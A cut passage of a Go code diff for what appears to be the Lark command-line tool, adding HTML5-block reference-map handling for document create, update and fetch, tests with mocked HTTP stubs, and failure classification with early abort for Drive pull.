+	if rewriteErr != nil {
+		return "", rewriteErr
+	}
+	return out, nil
+}
+
+func parseHTML5BlockStartTag(raw string) (html5BlockStartTag, error) {
+	trimmed := strings.TrimSpace(raw)
+	selfClosing := strings.HasSuffix(trimmed, "/>")
+	decoder := xml.NewDecoder(strings.NewReader(raw))
+	for {
+		tok, err := decoder.Token()
+		if err != nil {
+			if errors.Is(err, io.EOF) {
+				break
+			}
+			return html5BlockStartTag{}, err
+		}
+		start, ok := tok.(xml.StartElement)
+		if !ok {
+			continue
+		}
+		if start.Name.Local != html5BlockTag {
+			return html5BlockStartTag{}, fmt.Errorf("expected <%s>, got <%s>", html5BlockTag, start.Name.Local) //nolint:forbidigo // intermediate parse helper; callers wrap with typed validation errors.
+		}
+		attrs := make([]html5BlockAttr, 0, len(start.Attr))
+		for _, attr := range start.Attr {
+			attrs = append(attrs, html5BlockAttr{Name: attr.Name.Local, Value: attr.Value})
+		}
+		return html5BlockStartTag{Attrs: attrs, SelfClosing: selfClosing}, nil
+	}
+	return html5BlockStartTag{}, fmt.Errorf("missing start element") //nolint:forbidigo // intermediate parse helper; callers wrap with typed validation errors.
+}
+
+func (t html5BlockStartTag) attr(name string) (string, bool) {
+	for _, attr := range t.Attrs {
+		if attr.Name == name {
+			return attr.Value, true
+		}
+	}
+	return "", false
+}
+
+func (t html5BlockStartTag) hasAttr(name string) bool {
+	_, ok := t.attr(name)
+	return ok
+}
+
+func (t *html5BlockStartTag) removeAttrs(names ...string) {
+	remove := make(map[string]struct{}, len(names))
+	for _, name := range names {
+		remove[name] = struct{}{}
+	}
+	attrs := t.Attrs[:0]
+	for _, attr := range t.Attrs {
+		if _, ok := remove[attr.Name]; ok {
+			continue
+		}
+		attrs = append(attrs, attr)
+	}
+	t.Attrs = attrs
+}
+
+func (t html5BlockStartTag) render(selfClosing bool) string {
+	var b strings.Builder
+	b.WriteByte('<')
+	b.WriteString(html5BlockTag)
+	for _, attr := range t.Attrs {
+		b.WriteByte(' ')
+		b.WriteString(attr.Name)
+		b.WriteString(`="`)
+		b.WriteString(escapeXMLAttr(attr.Value))
+		b.WriteByte('"')
+	}
+	if selfClosing {
+		b.WriteString("/>")
+	} else {
+		b.WriteByte('>')
+	}
+	if t.SelfClosing && !selfClosing {
+		b.WriteString("</")
+		b.WriteString(html5BlockTag)
+		b.WriteByte('>')
+	}
+	return b.String()
+}
+
+func escapeXMLAttr(value string) string {
+	var b strings.Builder
+	for _, r := range value {
+		switch r {
+		case '&':
+			b.WriteString("&amp;")
+		case '<':
+			b.WriteString("&lt;")
+		case '>':
+			b.WriteString("&gt;")
+		case '"':
+			b.WriteString("&quot;")
+		case '\'':
+			b.WriteString("&apos;")
+		default:
+			b.WriteRune(r)
+		}
+	}
+	return b.String()
+}

shortcuts/doc/html5_block_resources_test.go

@@ -0,0 +1,563 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package doc
+
+import (
+	"bytes"
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/httpmock"
+	"github.com/larksuite/cli/shortcuts/common"
+)
+
+func TestDocsV2ReferenceMapFlagIsPublicFileInput(t *testing.T) {
+	for name, flags := range map[string][]common.Flag{
+		"create": v2CreateFlags(),
+		"update": v2UpdateFlags(),
+	} {
+		t.Run(name, func(t *testing.T) {
+			flag := findDocsTestFlag(flags, "reference-map")
+			if flag.Name == "" {
+				t.Fatal("reference-map flag not found")
+			}
+			if flag.Hidden {
+				t.Fatal("reference-map flag should be public")
+			}
+			if !hasDocsTestInput(flag, common.File) || !hasDocsTestInput(flag, common.Stdin) {
+				t.Fatalf("reference-map Input = %#v, want file and stdin", flag.Input)
+			}
+			if !strings.Contains(flag.Desc, "@reference-map.json") {
+				t.Fatalf("reference-map help should mention @file support, got %q", flag.Desc)
+			}
+		})
+	}
+}
+
+func TestDocsV2InputFlagIsNotAvailable(t *testing.T) {
+	for name, flags := range map[string][]common.Flag{
+		"create": v2CreateFlags(),
+		"update": v2UpdateFlags(),
+	} {
+		t.Run(name, func(t *testing.T) {
+			for _, flag := range flags {
+				if flag.Name == "input" {
+					t.Fatalf("%s should not expose input flag", name)
+				}
+			}
+		})
+	}
+}
+
+func TestDocsUpdateV2ReferenceMapPreservesGenericGroups(t *testing.T) {
+	t.Parallel()
+
+	runtime := newUpdateShortcutTestRuntime(t, "", map[string]string{
+		"command":       "append",
+		"content":       `<p><widget data-ref="r1"></widget></p>`,
+		"reference-map": `{"widget":{"r1":{"label":"widget-ref-value"}}}`,
+	})
+	body, err := buildUpdateBodyWithHTML5ReferenceMap(runtime)
+	if err != nil {
+		t.Fatalf("buildUpdateBodyWithHTML5ReferenceMap: %v", err)
+	}
+
+	refMap, ok := body["reference_map"].(map[string]interface{})
+	if !ok {
+		t.Fatalf("reference_map = %#v, want object", body["reference_map"])
+	}
+	widget, _ := refMap["widget"].(map[string]interface{})
+	r1, _ := widget["r1"].(map[string]interface{})
+	if got := r1["label"]; got != "widget-ref-value" {
+		t.Fatalf("reference_map.widget.r1.label = %#v, want widget-ref-value; body=%#v", got, body)
+	}
+}
+
+func TestDocsCreateV2HTML5BlockReferenceMapFromPath(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	if err := os.WriteFile("widget.html", []byte("<html><body>hello</body></html>"), 0o600); err != nil {
+		t.Fatalf("WriteFile() error: %v", err)
+	}
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+	stub := registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_new_doc",
+			"revision_id": float64(1),
+		},
+	})
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<title>demo</title><html5-block path="@widget.html"></html5-block>`,
+		"--as", "user",
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	body := decodeRequestBody(t, stub.CapturedBody)
+	if got := body["content"].(string); !strings.Contains(got, `<html5-block data-ref="html5_1"></html5-block>`) {
+		t.Fatalf("content was not rewritten with data-ref: %s", got)
+	}
+	refMap := decodeHTML5ReferenceMap(t, body["reference_map"])
+	if got := refMap[html5BlockTag]["html5_1"].Data; got != "<html><body>hello</body></html>" {
+		t.Fatalf("reference_map html data = %q", got)
+	}
+	if _, ok := body["resources"]; ok {
+		t.Fatalf("request body must not use resources: %#v", body)
+	}
+}
+
+func findDocsTestFlag(flags []common.Flag, name string) common.Flag {
+	for _, flag := range flags {
+		if flag.Name == name {
+			return flag
+		}
+	}
+	return common.Flag{}
+}
+
+func hasDocsTestInput(flag common.Flag, input string) bool {
+	for _, item := range flag.Input {
+		if item == input {
+			return true
+		}
+	}
+	return false
+}
+
+func TestDocsUpdateV2HTML5BlockReferenceMapFromPath(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	if err := os.WriteFile("widget.html", []byte("<section>updated</section>"), 0o600); err != nil {
+		t.Fatalf("WriteFile() error: %v", err)
+	}
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-html5-update"))
+	stub := registerDocsAIStub(reg, "PUT", "/open-apis/docs_ai/v1/documents/doxcn_doc", map[string]interface{}{
+		"document": map[string]interface{}{
+			"revision_id": float64(2),
+			"new_blocks": []interface{}{
+				map[string]interface{}{
+					"block_type":  "html5-block",
+					"block_id":    "blk_html5",
+					"block_token": "boardXXXX",
+				},
+			},
+		},
+		"result": "success",
+	})
+
+	err := mountAndRunDocs(t, DocsUpdate, []string{
+		"+update",
+		"--api-version", "v2",
+		"--doc", "doxcn_doc",
+		"--command", "append",
+		"--content", `<html5-block path="@widget.html"></html5-block>`,
+		"--as", "user",
+	}, f, stdout)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	body := decodeRequestBody(t, stub.CapturedBody)
+	if got := body["content"].(string); got != `<html5-block data-ref="html5_1"></html5-block>` {
+		t.Fatalf("content = %q", got)
+	}
+	refMap := decodeHTML5ReferenceMap(t, body["reference_map"])
+	if got := refMap[html5BlockTag]["html5_1"].Data; got != "<section>updated</section>" {
+		t.Fatalf("reference_map html data = %q", got)
+	}
+
+	var envelope map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &envelope); err != nil {
+		t.Fatalf("decode stdout: %v\n%s", err, stdout.String())
+	}
+	data, _ := envelope["data"].(map[string]interface{})
+	doc, _ := data["document"].(map[string]interface{})
+	if blocks, _ := doc["new_blocks"].([]interface{}); len(blocks) != 1 {
+		t.Fatalf("new_blocks not preserved in stdout: %#v", doc)
+	}
+}
+
+func TestDocsFetchV2HTML5BlockKeepsSmallReferenceMapInline(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-html5-fetch"))
+	registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents/doxcn_fetch/fetch", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_fetch",
+			"revision_id": float64(3),
+			"content":     `<docx><html5-block data-ref="html5_1"></html5-block></docx>`,
+			"reference_map": map[string]interface{}{
+				"html5-block": map[string]interface{}{
+					"html5_1": map[string]interface{}{"data": "<html><main>fetched</main></html>"},
+				},
+			},
+		},
+		"tips": "must_read_html_code",
+	})
+
+	err := mountAndRunDocs(t, DocsFetch, []string{
+		"+fetch",
+		"--api-version", "v2",
+		"--doc", "doxcn_fetch",
+		"--format", "json",
+		"--as", "user",
+	}, f, stdout)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	written := filepath.Join(dir, html5BlockReferenceRoot, "doxcn_fetch", "html5_1.html")
+	if _, err := os.Stat(written); err == nil {
+		t.Fatalf("small html should stay inline, got file %s", written)
+	}
+
+	var envelope map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &envelope); err != nil {
+		t.Fatalf("decode stdout: %v\n%s", err, stdout.String())
+	}
+	data, _ := envelope["data"].(map[string]interface{})
+	doc, _ := data["document"].(map[string]interface{})
+	if got := doc["content"].(string); !strings.Contains(got, `<html5-block data-ref="html5_1"></html5-block>`) {
+		t.Fatalf("content should keep data-ref: %s", got)
+	}
+	refMap := decodeHTML5ReferenceMap(t, doc["reference_map"])
+	if got := refMap[html5BlockTag]["html5_1"].Data; got != "<html><main>fetched</main></html>" {
+		t.Fatalf("reference_map html data = %q", got)
+	}
+	if _, ok := doc["resources"]; ok {
+		t.Fatalf("fetch output must not use resources: %#v", doc)
+	}
+	if _, ok := data["suggestions"]; ok {
+		t.Fatalf("CLI must not add suggestions; service tips is enough: %#v", data["suggestions"])
+	}
+	if got := data["tips"]; got != "must_read_html_code" {
+		t.Fatalf("tips should be preserved from service response, got %#v", got)
+	}
+}
+
+func TestDocsFetchV2HTML5BlockLargeReferenceMapUsesPath(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+
+	largeHTML := "<html><main>" + strings.Repeat("x", html5BlockReferenceMaxRaw+1) + "</main></html>"
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-html5-fetch-large"))
+	registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents/doxcn_fetch/fetch", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_fetch",
+			"revision_id": float64(3),
+			"content":     `<docx><html5-block data-ref="html5_1"></html5-block></docx>`,
+			"reference_map": map[string]interface{}{
+				"html5-block": map[string]interface{}{
+					"html5_1": map[string]interface{}{"data": largeHTML},
+				},
+			},
+		},
+	})
+
+	err := mountAndRunDocs(t, DocsFetch, []string{
+		"+fetch",
+		"--api-version", "v2",
+		"--doc", "doxcn_fetch",
+		"--format", "json",
+		"--as", "user",
+	}, f, stdout)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	written := filepath.Join(dir, html5BlockReferenceRoot, "doxcn_fetch", "html5_1.html")
+	raw, err := os.ReadFile(written)
+	if err != nil {
+		t.Fatalf("ReadFile(%s) error: %v", written, err)
+	}
+	if string(raw) != largeHTML {
+		t.Fatalf("materialized html = %q", raw)
+	}
+
+	var envelope map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &envelope); err != nil {
+		t.Fatalf("decode stdout: %v\n%s", err, stdout.String())
+	}
+	data, _ := envelope["data"].(map[string]interface{})
+	doc, _ := data["document"].(map[string]interface{})
+	if got := doc["content"].(string); strings.Contains(got, `path="@`) || !strings.Contains(got, `data-ref="html5_1"`) {
+		t.Fatalf("content should keep data-ref and not path: %s", got)
+	}
+	refMap := decodeHTML5ReferenceMap(t, doc["reference_map"])
+	entry := refMap[html5BlockTag]["html5_1"]
+	if entry.Data != "" || entry.Path != "@doc-fetch-resources/doxcn_fetch/html5_1.html" {
+		t.Fatalf("large html should be represented as path, got %#v", entry)
+	}
+}
+
+func TestDocsCreateV2HTML5BlockReferenceMapAdvancedInput(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+	stub := registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_new_doc",
+			"revision_id": float64(1),
+		},
+	})
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<html5-block data-ref="html5_1"></html5-block>`,
+		"--reference-map", `{"html5-block":{"html5_1":{"data":"<html></html>"}}}`,
+		"--as", "user",
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	body := decodeRequestBody(t, stub.CapturedBody)
+	if got := body["content"].(string); got != `<html5-block data-ref="html5_1"></html5-block>` {
+		t.Fatalf("content = %q", got)
+	}
+	refMap := decodeHTML5ReferenceMap(t, body["reference_map"])
+	if got := refMap[html5BlockTag]["html5_1"].Data; got != "<html></html>" {
+		t.Fatalf("reference_map html data = %q", got)
+	}
+}
+
+func TestDocsCreateV2HTML5BlockReferenceMapFromFile(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	if err := os.WriteFile("reference-map.json", []byte(`{"html5-block":{"html5_1":{"data":"<html>from file</html>"}}}`), 0o600); err != nil {
+		t.Fatalf("WriteFile(reference-map.json) error: %v", err)
+	}
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+	stub := registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_new_doc",
+			"revision_id": float64(1),
+		},
+	})
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<html5-block data-ref="html5_1"></html5-block>`,
+		"--reference-map", "@reference-map.json",
+		"--as", "user",
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	body := decodeRequestBody(t, stub.CapturedBody)
+	refMap := decodeHTML5ReferenceMap(t, body["reference_map"])
+	if got := refMap[html5BlockTag]["html5_1"].Data; got != "<html>from file</html>" {
+		t.Fatalf("reference_map html data = %q", got)
+	}
+}
+
+func TestDocsCreateV2HTML5BlockRejectsMissingReferenceMap(t *testing.T) {
+	f, stdout, _, _ := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<html5-block data-ref="html5_1"></html5-block>`,
+		"--as", "user",
+	})
+	if err == nil || !strings.Contains(err.Error(), `reference_map.html5-block.html5_1 is required`) {
+		t.Fatalf("expected missing reference_map error, got: %v", err)
+	}
+}
+
+func TestDocsCreateV2HTML5BlockRejectsInternalDataAttr(t *testing.T) {
+	f, stdout, _, _ := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<html5-block data="PGh0bWw+PC9odG1sPg=="></html5-block>`,
+		"--as", "user",
+	})
+	if err == nil || !strings.Contains(err.Error(), `html5-block data is reserved for SDK internals`) {
+		t.Fatalf("expected internal data attr error, got: %v", err)
+	}
+}
+
+func TestDocsCreateV2HTML5BlockPathReadFailure(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	f, stdout, _, _ := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<html5-block path="@missing.html"></html5-block>`,
+		"--as", "user",
+	})
+	if err == nil || !strings.Contains(err.Error(), `html5-block path "missing.html" cannot be read from the current working directory`) {
+		t.Fatalf("expected path read error, got: %v", err)
+	}
+}
+
+func TestDocsCreateV2HTML5BlockRejectsInlineContent(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	if err := os.WriteFile("widget.html", []byte("<section>from file</section>"), 0o600); err != nil {
+		t.Fatalf("WriteFile() error: %v", err)
+	}
+
+	f, stdout, _, _ := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<html5-block path="@widget.html"><section>inline</section></html5-block>`,
+		"--as", "user",
+	})
+	if err == nil || !strings.Contains(err.Error(), `html5-block content must be loaded from path="@relative.html"`) {
+		t.Fatalf("expected inline content error, got: %v", err)
+	}
+}
+
+func TestDocsFetchV2MissingHTML5BlockReferenceFails(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-html5-fetch-missing"))
+	registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents/doxcn_fetch/fetch", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_fetch",
+			"revision_id": float64(3),
+			"content":     `<docx><html5-block data-ref="html5_missing"></html5-block></docx>`,
+			"reference_map": map[string]interface{}{
+				"html5-block": map[string]interface{}{
+					"html5_1": map[string]interface{}{"data": "<html></html>"},
+				},
+			},
+		},
+	})
+
+	err := mountAndRunDocs(t, DocsFetch, []string{
+		"+fetch",
+		"--api-version", "v2",
+		"--doc", "doxcn_fetch",
+		"--format", "json",
+		"--as", "user",
+	}, f, stdout)
+	if err == nil || !strings.Contains(err.Error(), "Re-run fetch or check that the upstream document.reference_map field includes this ref") {
+		t.Fatalf("expected missing reference_map error, got: %v", err)
+	}
+}
+
+func TestHTML5BlockMarkdownCodeFenceIsIgnored(t *testing.T) {
+	for _, fence := range []string{"```", "~~~"} {
+		t.Run(fence, func(t *testing.T) {
+			content := fence + "xml\n<html5-block data-ref=\"html5_1\"></html5-block>\n" + fence + "\n"
+			if hasProcessableHTML5Block("markdown", content) {
+				t.Fatalf("html5-block inside markdown code fence should be ignored")
+			}
+		})
+	}
+}
+
+func TestWriteHTML5BlockReferenceFileRejectsDotNames(t *testing.T) {
+	runtime := newFetchShortcutTestRuntime(t, "", nil)
+	tests := []struct {
+		name     string
+		docToken string
+		ref      string
+		want     string
+	}{
+		{name: "dot doc token", docToken: ".", ref: "html5_1", want: "document_id"},
+		{name: "dotdot doc token", docToken: "..", ref: "html5_1", want: "document_id"},
+		{name: "dot ref", docToken: "doxcn_fetch", ref: ".", want: "data-ref"},
+		{name: "dotdot ref", docToken: "doxcn_fetch", ref: "..", want: "data-ref"},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			_, err := writeHTML5BlockReferenceFile(runtime, tt.docToken, tt.ref, "<html></html>")
+			if err == nil || !strings.Contains(err.Error(), tt.want) {
+				t.Fatalf("writeHTML5BlockReferenceFile() error = %v, want %q", err, tt.want)
+			}
+		})
+	}
+}
+
+func TestPrepareHTML5BlockWriteContentMarkdownRaw(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	if err := os.WriteFile("widget.html", []byte("<html><body>markdown</body></html>"), 0o600); err != nil {
+		t.Fatalf("WriteFile() error: %v", err)
+	}
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+	stub := registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_new_doc",
+			"revision_id": float64(1),
+		},
+	})
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--doc-format", "markdown",
+		"--content", "before\n<html5-block path=\"@widget.html\"></html5-block>\nafter",
+		"--as", "user",
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	body := decodeRequestBody(t, stub.CapturedBody)
+	if got := body["content"].(string); !strings.Contains(got, `<html5-block data-ref="html5_1"></html5-block>`) {
+		t.Fatalf("content was not rewritten: %s", got)
+	}
+	refMap := decodeHTML5ReferenceMap(t, body["reference_map"])
+	if got := refMap[html5BlockTag]["html5_1"].Data; got != "<html><body>markdown</body></html>" {
+		t.Fatalf("reference_map html data = %q", got)
+	}
+}
+
+func registerDocsAIStub(reg *httpmock.Registry, method string, url string, data map[string]interface{}) *httpmock.Stub {
+	stub := &httpmock.Stub{
+		Method: method,
+		URL:    url,
+		Body: map[string]interface{}{
+			"code": 0,
+			"msg":  "ok",
+			"data": data,
+		},
+	}
+	reg.Register(stub)
+	return stub
+}
+
+func decodeRequestBody(t *testing.T, raw []byte) map[string]interface{} {
+	t.Helper()
+	var body map[string]interface{}
+	if err := json.Unmarshal(bytes.TrimSpace(raw), &body); err != nil {
+		t.Fatalf("decode request body: %v\n%s", err, raw)
+	}
+	return body
+}
+
+func decodeHTML5ReferenceMap(t *testing.T, raw interface{}) html5BlockReferenceMap {
+	t.Helper()
+	data, err := json.Marshal(raw)
+	if err != nil {
+		t.Fatalf("marshal reference_map: %v\n%#v", err, raw)
+	}
+	var refMap html5BlockReferenceMap
+	if err := json.Unmarshal(data, &refMap); err != nil {
+		t.Fatalf("decode reference_map: %v\n%s", err, data)
+	}
+	return refMap
+}

shortcuts/drive/drive_pull.go

@@ -37,11 +37,16 @@ const (
 )
 
 type drivePullItem struct {
-	RelPath   string `json:"rel_path"`
-	FileToken string `json:"file_token,omitempty"`
-	SourceID  string `json:"source_id,omitempty"`
-	Action    string `json:"action"`
-	Error     string `json:"error,omitempty"`
+	RelPath    string `json:"rel_path"`
+	FileToken  string `json:"file_token,omitempty"`
+	SourceID   string `json:"source_id,omitempty"`
+	Action     string `json:"action"`
+	Error      string `json:"error,omitempty"`
+	Phase      string `json:"phase,omitempty"`
+	ErrorClass string `json:"error_class,omitempty"`
+	Code       int    `json:"code,omitempty"`
+	Subtype    string `json:"subtype,omitempty"`
+	Retryable  *bool  `json:"retryable,omitempty"`
 }
 
 type drivePullTarget struct {
@@ -189,6 +194,9 @@ var DrivePull = common.Shortcut{
 		sort.Strings(downloadablePaths)
 
 		for _, rel := range downloadablePaths {
+			if drivePullHasTerminalFailure(items) {
+				break
+			}
 			targetFile := remoteFiles[rel]
 			downloadToken := targetFile.DownloadToken
 			itemFileToken := targetFile.ItemFileToken
@@ -204,13 +212,9 @@ var DrivePull = common.Shortcut{
 				// pre-existing file under --if-exists=skip silently
 				// hides the conflict. Surface as a failure.
 				if info.IsDir() {
-					items = append(items, drivePullItem{
-						RelPath:   rel,
-						FileToken: itemFileToken,
-						SourceID:  itemSourceID,
-						Action:    "failed",
-						Error:     fmt.Sprintf("local path is a directory, remote is a regular file: %s", target),
-					})
+					conflictErr := errs.NewValidationError(errs.SubtypeFailedPrecondition, "local path is a directory, remote is a regular file: %s", target)
+					item, _ := drivePullFailedItem(rel, itemFileToken, itemSourceID, "failed", "local", conflictErr)
+					items = append(items, item)
 					failed++
 					downloadFailed++
 					continue
@@ -223,9 +227,14 @@ var DrivePull = common.Shortcut{
 			}
 
 			if err := drivePullDownload(ctx, runtime, downloadToken, target, targetFile.ModifiedTime); err != nil {
-				items = append(items, drivePullItem{RelPath: rel, FileToken: itemFileToken, SourceID: itemSourceID, Action: "failed", Error: err.Error()})
+				item, terminal := drivePullFailedItem(rel, itemFileToken, itemSourceID, "failed", "download", err)
+				items = append(items, item)
 				failed++
 				downloadFailed++
+				if terminal {
+					fmt.Fprintf(runtime.IO().ErrOut, "Aborting +pull after terminal %s failure: %v\n", item.Phase, err)
+					break
+				}
 				continue
 			}
 			items = append(items, drivePullItem{RelPath: rel, FileToken: itemFileToken, SourceID: itemSourceID, Action: "downloaded"})
@@ -251,7 +260,8 @@ var DrivePull = common.Shortcut{
 			for _, absPath := range localAbsPaths {
 				rel, relErr := filepath.Rel(safeRoot, absPath)
 				if relErr != nil {
-					items = append(items, drivePullItem{RelPath: absPath, Action: "delete_failed", Error: relErr.Error()})
+					item, _ := drivePullFailedItem(absPath, "", "", "delete_failed", "delete_local", relErr)
+					items = append(items, item)
 					failed++
 					continue
 				}
@@ -271,7 +281,9 @@ var DrivePull = common.Shortcut{
 				// acceptable here. Shortcuts cannot import internal/vfs
 				// directly (depguard rule shortcuts-no-vfs).
 				if err := os.Remove(absPath); err != nil { //nolint:forbidigo // see comment above
-					items = append(items, drivePullItem{RelPath: rel, Action: "delete_failed", Error: err.Error()})
+					deleteErr := errs.NewInternalError(errs.SubtypeFileIO, "delete local %q: %s", rel, err).WithCause(err)
+					item, _ := drivePullFailedItem(rel, "", "", "delete_failed", "delete_local", deleteErr)
+					items = append(items, item)
 					failed++
 					continue
 				}
@@ -286,6 +298,7 @@ var DrivePull = common.Shortcut{
 				"skipped":       skipped,
 				"failed":        failed,
 				"deleted_local": deletedLocal,
+				"aborted":       drivePullHasTerminalFailure(items),
 			},
 			"items": items,
 		}
@@ -317,6 +330,32 @@ var DrivePull = common.Shortcut{
 	},
 }
 
+func drivePullFailedItem(relPath, fileToken, sourceID, action, phase string, err error) (drivePullItem, bool) {
+	decision := driveClassifyBatchFailure(err)
+	item := drivePullItem{
+		RelPath:    relPath,
+		FileToken:  fileToken,
+		SourceID:   sourceID,
+		Action:     action,
+		Error:      err.Error(),
+		Phase:      phase,
+		ErrorClass: decision.Class,
+		Code:       decision.Code,
+		Subtype:    decision.Subtype,
+		Retryable:  driveBoolPtr(decision.Retryable),
+	}
+	return item, decision.Terminal
+}
+
+func drivePullHasTerminalFailure(items []drivePullItem) bool {
+	for _, item := range items {
+		if driveTerminalBatchErrorClass(item.ErrorClass) {
+			return true
+		}
+	}
+	return false
+}
+
 // drivePullDownload streams one Drive file into the local mirror target and
 // then best-effort aligns the local mtime to Drive's modified_time.
 func drivePullDownload(ctx context.Context, runtime *common.RuntimeContext, fileToken, target, remoteModifiedTime string) error {

shortcuts/drive/drive_pull_test.go

@@ -1032,6 +1032,66 @@ func TestDrivePullDownloadFailureSkipsDeleteLocalAndExitsNonZero(t *testing.T) {
 	}
 }
 
+func TestDrivePullAbortsAfterDownloadForbidden(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll("local", 0o755); err != nil {
+		t.Fatalf("MkdirAll: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{
+				"files": []interface{}{
+					map[string]interface{}{"token": "tok_a", "name": "a.txt", "type": "file"},
+					map[string]interface{}{"token": "tok_b", "name": "b.txt", "type": "file"},
+				},
+				"has_more": false,
+			},
+		},
+	})
+	reg.Register(&httpmock.Stub{
+		Method:  "GET",
+		URL:     "/open-apis/drive/v1/files/tok_a/download",
+		Status:  http.StatusForbidden,
+		RawBody: []byte("forbidden"),
+	})
+
+	err := mountAndRunDrive(t, DrivePull, []string{
+		"+pull",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--as", "bot",
+	}, f, stdout)
+	assertDrivePullPartialFailure(t, err)
+
+	summary, items := splitDrivePullStdout(t, stdout.Bytes())
+	if got := summary["aborted"]; got != true {
+		t.Fatalf("summary.aborted = %v, want true", got)
+	}
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item["rel_path"] != "a.txt" || item["phase"] != "download" || item["error_class"] != "permission_denied" {
+		t.Fatalf("unexpected failed item: %#v", item)
+	}
+	if item["code"] != float64(http.StatusForbidden) || item["retryable"] != false {
+		t.Fatalf("unexpected failure classification: %#v", item)
+	}
+	if _, statErr := os.Stat(filepath.Join("local", "b.txt")); !os.IsNotExist(statErr) {
+		t.Fatalf("b.txt should not be downloaded after terminal permission failure; stat err=%v", statErr)
+	}
+}
+
 // TestDrivePullDeleteLocalDoesNotEscapeViaSymlinkParentRef is the
 // regression for the "link/.." escape applied to --delete-local — the
 // most dangerous variant, since the bug would otherwise let the kernel

shortcuts/drive/drive_push.go

@@ -29,12 +29,25 @@ const (
 )
 
 type drivePushItem struct {
-	RelPath   string `json:"rel_path"`
-	FileToken string `json:"file_token,omitempty"`
-	Action    string `json:"action"`
-	Version   string `json:"version,omitempty"`
-	SizeBytes int64  `json:"size_bytes,omitempty"`
